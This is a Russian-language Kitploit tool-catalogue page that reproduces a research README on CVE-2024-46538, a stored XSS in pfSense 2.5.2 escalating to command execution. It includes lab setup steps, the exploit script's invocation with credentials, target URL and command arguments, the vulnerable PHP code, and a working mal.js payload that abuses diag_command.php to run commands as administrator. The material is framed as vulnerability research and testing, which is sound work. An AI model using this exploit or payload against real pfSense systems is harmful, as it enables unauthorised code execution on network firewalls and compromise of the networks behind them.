Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-46538 — Хранимый XSS в PfSense приводит к эксплойту произвольного выполнения кода | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2024-46538
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubeqstlab/cve-2024-46538

CVE-2024-46538

Хранимый XSS в PfSense приводит к эксплойту произвольного выполнения кода

Репозиторий
5181 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Этот пост является исследовательской статьей, опубликованной EQSTLab.

Благодарность physicszq, который обнаружил эту уязвимость.

CVE-2024-46538

★ CVE-2024-46538 PfSense Хранимая XSS, приводящая к произвольному выполнению кода PoC ★

https://github.com/user-attachments/assets/f41d0945-b7f4-4f88-bac5-265904256aae

Описание

CVE-2024-46538 : Хранимая XSS уязвимость в PfSense

Описание: Уязвимость межсайтового скриптинга (XSS) в pfsense v2.5.2 позволяет злоумышленникам выполнять произвольные веб-сценарии или HTML с помощью специально созданной нагрузки, внедренной в переменную $pconfig в файле interfaces_groups_edit.php.

Лабораторная настройка

Скачать уязвимую версию (v2.5.2):

Настройка виртуальной машины

Запуск на Oracle Virtual Box

1. Создать виртуальную машину alt text

2. Настроить Адаптер 1 и 2 следующим образом: alt text alt text

3. Настроить порядок загрузки: alt text

4. Следовать инструкциям: alt text alt text alt text alt text alt text alt text alt text

Как использовать

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-46538.git
cd CVE-2024-46538

Установка пакетов

root@kitploit:~
pip install -r requirements.txt

Команда

root@kitploit:~
# Store malicious JavaScript payload (No custom js server)
python3 CVE-2024-46538.py -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>
# Store malicious JavaScript payload (Use custom js server)
python3 CVE-2024-46538.py -j <CUSTOM_JAVASCRIPT_SERVER> -i <USER_ID> -p <USER_PASSWORD> -u <URL_TO_EXPLOIT> -c <CMD_TO_EXECUTE>

Вывод

CVE-2024-46538.py alt text

Анализ

/src/usr/local/www/interfaces_groups_edit.php

root@kitploit:~
if (isset($_POST['members'])) {
		$members = implode(" ", $_POST['members']);
	} else {
		$members = "";
	}
...
		// Create new group
		} else {
			$ifgroupentry['ifname'] = $_POST['ifname'];
			$a_ifgroups[] = $ifgroupentry;
		}

		write_config("Interface Group added");
		interface_group_setup($ifgroupentry);

		header("Location: interfaces_groups.php");
		exit;
	} else {
		$pconfig['descr'] = $_POST['descr'];
		$pconfig['members'] = $members;
	}
}

Отсутствие фильтрации в переменной $pconfig в interfaces_groups_edit.php приводит к уязвимости межсайтового скриптинга (XSS). Эта уязвимость позволяет злоумышленникам использовать конечную точку diag_command.php для выполнения произвольных команд от имени администратора. Например, следующий JavaScript может привести к произвольному выполнению кода.

mal.js

root@kitploit:~
var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "id");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("https://192.168.102.61/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})

Сценарий

Пользователь (имеет привилегию: WebCfg - Interfaces: Groups: Edit) --(Хранит вредоносный JavaScript код)--> Администратор (имеет привилегию выполнять код) --(Читает interfaces_groups.php)--> Выполнение JavaScript кода --> Выполнение кода

Отказ от ответственности

Этот репозиторий не предназначен для использования в качестве XSS-эксплойта для CVE-2024-46538. Цель этого проекта — помочь людям изучить эту уязвимость и, возможно, протестировать свои собственные приложения.

Ссылки

https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md

https://skshieldus.com/eng/business/insight.do#

Скачать инструмент